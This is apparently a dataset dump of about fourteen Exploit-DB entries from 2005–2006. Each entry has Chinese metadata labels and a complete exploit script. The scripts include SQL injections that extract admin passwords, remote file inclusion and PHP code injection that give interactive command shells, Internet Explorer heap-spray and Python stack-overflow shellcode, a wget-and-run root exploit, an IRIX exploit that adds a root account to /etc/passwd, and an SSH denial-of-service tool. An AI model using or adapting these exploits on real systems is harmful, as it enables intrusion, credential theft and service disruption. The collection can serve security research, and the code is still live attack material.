QLWD/code_shield huggingface dataset:
标题: RealPlayer 10.5 (6.0.12.1040-1348) - SWF Buffer Overflow (PoC) EDB-ID: 1622 CVE: 2006-0323 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-28 漏洞利用脚本: #!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";

my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
       "\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
       "\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
              "\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
       "\x00\x00\x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);

# milw0rm.com [2006-03-28] URL: https://www.exploit-db.com/exploits/1622
标题: SQuery 4.5 - 'libpath' Remote File Inclusion EDB-ID: 1629 CVE: 2006-1688 2006-1610 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-01 漏洞利用脚本: #!/usr/bin/perl
##
# SQuery <= 4.5 Remote File Inclusion Exploit
# Bug Found By uid0 code by zod
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>
#
# perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
 print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'lib/armygame.php?libpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
 {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
 $finreturn = $1;
 $finreturn=~ tr/[ê]/[\n]/;
 print "\r\n$finreturn\n\r";
 last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print "     *SQuery <= 4.5 Remote File Inclusion Exploit*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to SQuery ex: http://www.site.com/SQuery/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "             Bug Found by uid0\r\n";
 print " www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-01] URL: https://www.exploit-db.com/exploits/1629
标题: phpBookingCalendar 1.0c - 'details_view.php' SQL Injection EDB-ID: 1610 CVE: 2006-1422 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-25 漏洞利用脚本: PoC by undefined1_ @ bash-x.net/undef/

phpBookingCalendar <= 1.0c
"A PHP/MySQL Booking Calendar Application."
http://www.jjwdesign.com/booking_calendar.html

phpBookingCalendar is prone to a sql injection attack. the sql injection works regardless of any magic_quotes_gpc settings.
www.site.com/details_view.php?event_id=1 and 1=0 union all select 1,1,username,1,1,1,1,1,1,passwd,1,1,1 from booking_user

# milw0rm.com [2006-03-25] URL: https://www.exploit-db.com/exploits/1610
标题: TFT Gallery 0.10 - Password Disclosure EDB-ID: 1611 CVE: 2006-1412 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-25 漏洞利用脚本: #!/usr/bin/perl

###############################################################################
#Copyright (C) undefined1_
#
#This program is free software; you can redistribute it and/or
#modify it under the terms of the GNU General Public License
#as published by the Free Software Foundation; either version 2
#of the License, or (at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
#
###############################################################################

use strict; 
use IO::Socket;

$| = 1;
printf ":: tftgallery 0.10 exploit - by undefined1_ @ bash-x.net/undef/ ::\n\n\n";


my $website = shift || usage();

my $path = "/";
my $site = $website;
if(index($website, "/") != -1)
{
 my $index = index($website, "/");
 $path = substr($website, $index);
 $site = substr($website, 0, $index);
 if(substr($path, length($path)-1) ne "/")
 {
  $path .= "/";
 }
}


my $eop = "\r\nHost: $site\r\n";
$eop .= "User-Agent: Mozilla/5.0\r\n";
$eop .= "Connection: close\r\n\r\n";


my $packet1 = "GET ".$path."admin/passwd HTTP/1.1";
my $data = sendpacket($site, $packet1.$eop);

if($data !~ /HTTP\/1.1 200 OK/)
{
 die "failed to retrieve the admin password\n";
}

my $password = "";
if (index($data, "\r\n\r\n") != -1)
{
 $password = substr($data, index($data, "\r\n\r\n")+4);
 chomp $password;
}
else
{
 die "failed to retrieve the admin password\n";
}

print "The password hash is: '$password'\n";
if(crypt("admin","tftgallery") eq $password)
{
 print "The plaintext password is: 'admin'\n";  
}
else
{
 die "Use john the ripper, luke!\n";
}




sub sendpacket(\$,\$) {
 my $server = shift;
 my $request = shift;

 my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => "80") or die "[-] Could not connect to $server:80 $!\n";
 print $sock "$request";

 
 my $data = "";
 my $answer;
 while($answer = <$sock>)
 {
  $data .= $answer;
 }
 
 close($sock);
 return $data;
}

sub usage() {
 printf "usage: %s <website> [password]\n", $0;
 printf "ex. : %s www.site.com/tftgallery/\n", $0;
 exit;
}

# milw0rm.com [2006-03-25] URL: https://www.exploit-db.com/exploits/1611
标题: Microsoft Internet Explorer - 'createTextRang' Remote Code Execution EDB-ID: 1606 CVE: 2006-1359 类型: REMOTE 平台: WINDOWS 发布日期: 2006-03-23 漏洞利用脚本: <!--
 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
/\
\/ Internet Explorer Remote Code Execution Exploit v 0.1
/\    by Darkeagle of Unl0ck Research Team
\/
/\ used SkyLined idea of exploitation. special tnx goes to him.
\/

Affected Software :  Microsoft Internet Explorer 6.x, IE7 Beta 2
Severity  :  Critical
Impact  :  Remote System Access
Solution Status :  ** UNPATCHED **
Discovered by  :  Computer Terrorism (UK)
Advisory Date :  22nd March, 2006
Tested  :  WinXP SP2 RUS IE 6.0 (full patched)

Vulnerability details:

PoC from CyberTerrorists crashes IE and overwrites EIP. EIP points to unknown place.
In my case it points to 0x3c0474c2.
Exploit fills heap with "nops+shellcode" 'til 0x3CxxXXxx. Then IE trys to read memory
@ 0x3c0474c2. At this time 0x3c0474c2 contains nops+shellcode. In the end IE executes
shellcode.

Exploit needs more RAM.
Tested under 192mb RAM with 800mb of maximum page cache.

Under 512mb code was executed after 1-1.5 minutes.

Successfull exploitation will execute standart windows calculator.

Greets: 
  Unl0ck Researchers,
  0x557 guys,
  ph4nt0m guys,
  sh0k, uf0,
  BlackSecurity guys,
  many otherz.

/\ http://unl0ck.net
\/ 
/\ (c) 2004 - 2006
\/
 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 -->

<input type="checkbox" id="blah">
<SCRIPT language="javascript">

shellcode = unescape( "%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
   "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
   "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
   "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
   "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
   "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
   "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
   "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
   "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
   "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
   "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
   "%uCC4A%uD0FF");

    bigblock = unescape("%u9090%u9090"); 
    slackspace = 20 + shellcode.length

    while (bigblock.length < slackspace)
  bigblock += bigblock;

    fillblock = bigblock.substring(0, slackspace);

    block = bigblock.substring(0, bigblock.length-slackspace);

    while(block.length + slackspace < 0x40000) 
  block = block + block + fillblock;

    memory = new Array();

    for ( i = 0; i < 2020; i++ ) 
  memory[i] = block + shellcode;
  
    var r = document.getElementById('blah').createTextRange();

</script>

# milw0rm.com [2006-03-23] URL: https://www.exploit-db.com/exploits/1606
标题: ShoutLIVE 1.1.0 - 'savesettings.php' Remote Code Execution EDB-ID: 1590 CVE: 2006-0940 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-18 漏洞利用脚本: #!/usr/bin/perl
##################################################
# ShoutLIVE <= 1.1.0 Remote Php Code Execution
# Based on: http://www.frsirt.com/bulletins/4109
# Credits: Coded by DarkFig
# Website: http://disarm.free.fr/bo_hard/
# Greetz: All AcidRoot/Bod members =)
##################################################
use IO::Socket;
use LWP::Simple;

if(!$ARGV[1]){headers();
print "\n| Usage: perl shoutlive110.pl <host> <path>   |
+---------------------------------------------+
| Coded by DarkFig |
+------------------+
";exit}

sub headers() {
print "\n
+----------------------------------------------+
| ShoutLIVE <= 1.1.0 Remote Php Code Execution |
+----------------------------------------------+";}

$host = $ARGV[0];
$path = $ARGV[1];
headers();
$ncon = "\n [-]Can't connect to $host...";
$ycon = "\n [+]Connected to $host...";
$sdat = "\n [~]Sending malicious request...";
$ycmd = "\n [+]System command writed...";
$req1 = "send_email=0\" ?> <? \$cmd = \$_GET\['cmd']; system(\$cmd); ?> <? #";
$lgr1 = length $req1;
$psti = "$path"."savesettings.php";

my $sock = new IO::Socket::INET(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or die "$ncon";
print "$ycon"."$sdat";
print $sock "POST $psti HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: $lgr1

$req1\n";
close($sock);
print "$ycmd";

while(1 ne 2){
print "\n [$host]\$ ";chomp($cmd = <STDIN>);
if($cmd eq "exit"){eofi();}
$req2 = "http://"."$host"."$path"."settings.php"."?cmd="."$cmd";
$page = get($req2) or die "$ncon";
print $page;}

sub eofi() {
print "+----------------------------------------------+
|     Coded by DarkFig : [*BoD*]_AcidRoot      |
+----------------------------------------------+\n";exit;}

# milw0rm.com [2006-03-18] URL: https://www.exploit-db.com/exploits/1590
标题: X.Org X11 (X11R6.9.0/X11R7.0) - Local Privilege Escalation EDB-ID: 1596 CVE: 2006-0745 类型: LOCAL 平台: LINUX 发布日期: 2006-03-20 漏洞利用脚本: # From Daniel Stone's Advisory
# xorg-server 1.0.0, as shipped with X11R7.0, and all release candidates
# of X11R7.0, is vulnerable.
# X11R6.9.0, and all release candidates, are vulnerable.
# X11R6.8.2 and earlier versions are not vulnerable. 

# The rest is H D Moore from metasploit

Two second exploit, but if anyone is lazy:

$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f   exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c

X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0
[ snip ]
r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...

# backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1596.tgz (xmodulepath.tgz)

# milw0rm.com [2006-03-20] URL: https://www.exploit-db.com/exploits/1596
标题: Python 2.4.2 - 'realpath()' Local Stack Overflow EDB-ID: 1591 CVE: 2006-1542 类型: LOCAL 平台: LINUX 发布日期: 2006-03-18 漏洞利用脚本: #!/usr/bin/python
 
# gexp-python.py
# 
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#         posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version  : 2.6.12.5-vs2.0
# GCC Version   : 4.0.3
# Libc Version   : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#      RFDSLabs, barros, izik,
#      Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "\x5f\xe7\xff\xff"

shell  = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)

# milw0rm.com [2006-03-18] URL: https://www.exploit-db.com/exploits/1591
标题: SoftBB 0.1 - 'mail' Blind SQL Injection EDB-ID: 1594 CVE: 2006-1327 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-19 漏洞利用脚本: #!/usr/bin/env python
# LOTFREE TEAM 03/2006
# http://lotfree.next-touch.com/
# http://membres.lycos.fr/lotfree/sploits/LOTF-SoftBB.py
#
# Vulnerability info
# Product : SoftBB
# Version : 0.1
#
# The field 'mail' in reg.php is used directly in a SQL query :
# $sql = 'SELECT pseudo,mail FROM '.$prefixtable.'membres WHERE pseudo = "'.add_gpc($pseudoreg).'" OR mail = "'.$mail.'"';
# We can deduce deduce the result of some sql querys according to the error messages returned
# The exploit test the characters of the md5 hash one by one using a special query
import httplib, urllib

# Change the following values...
admin="admin"
server="localhost"
path="/forum"
#
hash=""
chars=('a','b','c','d','e','f','1','2','3','4','5','7','8','9','0')

print "LOTFREE TEAM SoftBB BruteForcing tool"
print "-------------------------------------"
for i in range(1,33):
  print "Brute forcing hash["+str(i)+"]"
  for a in chars:
    params=urllib.urlencode({'pseudo':admin,
    'mdp':'1',
    'mdpc':'1',
    'mail':'" union select pseudo,1 from softbb_membres where pseudo="'+admin+'" and substr(mdp,'+str(i)+',1)="'+a+'" limit 1,1#',
    'condok':'true'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(server)
    conn.request("POST", path+"/index.php?page=reg", params, headers)
    response = conn.getresponse()
    data = response.read()
    conn.close()
    if data.find("Ce pseudonyme est d")>0:
      hash=hash+a
      continue

print
if len(hash)==32:
  print "Found hash =",hash,"for account",admin
  print "You can use http://md5.rednoize.com/ to crack the md5 hash"
else:
  print "Exploit failed... verify the path to the forum or try changing the limit 1,1 in the sql request..." 

# milw0rm.com [2006-03-19] URL: https://www.exploit-db.com/exploits/1594
标题: BetaParticle Blog 6.0 - 'fldGalleryID' SQL Injection EDB-ID: 1589 CVE: 2006-1333 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-18 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=20
#Usage: beta.pl <host> <path>
#googledork: [ "Powered by bp blog" ] 9.710 pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-20\r\n";
  print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to BetaParticle ex: /blog\r\n";
  exit();
}
sub exploit () {
  #Our variables...
  $bpserver = $ARGV[0];
  $bpserver =~ s/(http:\/\/)//eg;
  $bphost   = "http://".$bpserver;
  $bpdir    = $ARGV[1];
  $bpport   = "80";
  $bptar    = "template_gallery_detail.asp?fldGalleryID=";
  $bpfinal  = "main.asp";
  $bpxp     = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1";
  $bpreq    = $bphost.$bpdir.$bptar.$bpxp;
  #Sending data...
  header();
  print "- Trying to connect: $bpserver\r\n";
  $bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...\n";
  print $bp "GET $bpreq HTTP/1.1\n";
  print $bp "Accept: */*\n";
  print $bp "Referer: $bphost\n";
  print $bp "Accept-Language: tr\n";
  print $bp "User-Agent: NukeZilla 4.3\n";
  print $bp "Cache-Control: no-cache\n";
  print $bp "Host: $bpserver\n";
  print $bp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$bp>) {
    if ($answer =~ /<h3>(.*?)<\/h3>/) {
      print "- Exploit succeed! Getting admin's information\r\n";
      print "- Username: $1\r\n";
    }
    if ($answer =~ /<p>(.*?)<\/p>/) {
      print "- Password: $1\r\n";
      print "- Lets go $bphost$bpdir$bpfinal for admin login.\r\n";
      exit();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of BetaParticle is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit(); 
    }
  }
  print "- Exploit failed\n"
}

# milw0rm.com [2006-03-18] URL: https://www.exploit-db.com/exploits/1589
标题: Ubuntu 5.10 Installer - Password Disclosure EDB-ID: 1579 CVE: 2006-1183 类型: LOCAL 平台: LINUX 发布日期: 2006-03-12 漏洞利用脚本: #!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{ 
  print "Yes\nNow checking if readable...";
  if ( -r $file1 )
  {
    getinfo($file1);
  }
  else
  {
    if ( -r $file2 ) {
      getinfo($file2);
    }
    else {
      print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
      exit(-2);
    }
  }
}
else
{
  print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
  exit(-1);
}

sub getinfo {
  my $fn = shift;
  print "Yes\nHere come the details...\n\n";
  my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
  my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
  my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
  chomp($realname);
  chomp($user);
  chomp($pass);
  print "Real Name: $realname\n";
  print "Username: $user\n";
  print "Password: $pass\n";
}

# milw0rm.com [2006-03-12] URL: https://www.exploit-db.com/exploits/1579
标题: SGI IRIX 6.5.28 - 'runpriv' Design Error EDB-ID: 1577 CVE: 2005-2925 类型: LOCAL 平台: IRIX 发布日期: 2005-10-10 漏洞利用脚本: #!/bin/sh
# Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312

/usr/sysadm/bin/runpriv mountfs -s test -d / -o |
  "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
su r00t -c "chown root:sys /tmp/passwd123 ;
mv /tmp/passwd123 /etc/passwd ;
chmod 644 /etc/passwd ; su" 

# milw0rm.com [2005-10-10] URL: https://www.exploit-db.com/exploits/1577
标题: Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service EDB-ID: 1572 CVE: 2006-1206 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-10 漏洞利用脚本: #!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

sub usage
{
 print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
 print "by /str0ke (milw0rm.com)\n";
 print "Credits to Pablo Fernandez\n";
 print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
 exit ();
}

sub exploit
{
 my ($serv, $port, $sleep) = @_;
 my $sock = new IO::Socket::INET ( PeerAddr => $serv,
 PeerPort => $port,
 Proto => 'tcp',
 );

 die "Could not create socket: $!\n" unless $sock;
 sleep $sleep;
 close($sock);
}

sub thread {
 print "Server: $serv\nPort: $port\nSeconds: $time\n";
 for my $i ( 1 .. 51 ) {
  print ".";
  my $thr = new Thread \&exploit, $serv, $port, $time;
 }
 sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

# milw0rm.com [2006-03-10] URL: https://www.exploit-db.com/exploits/1572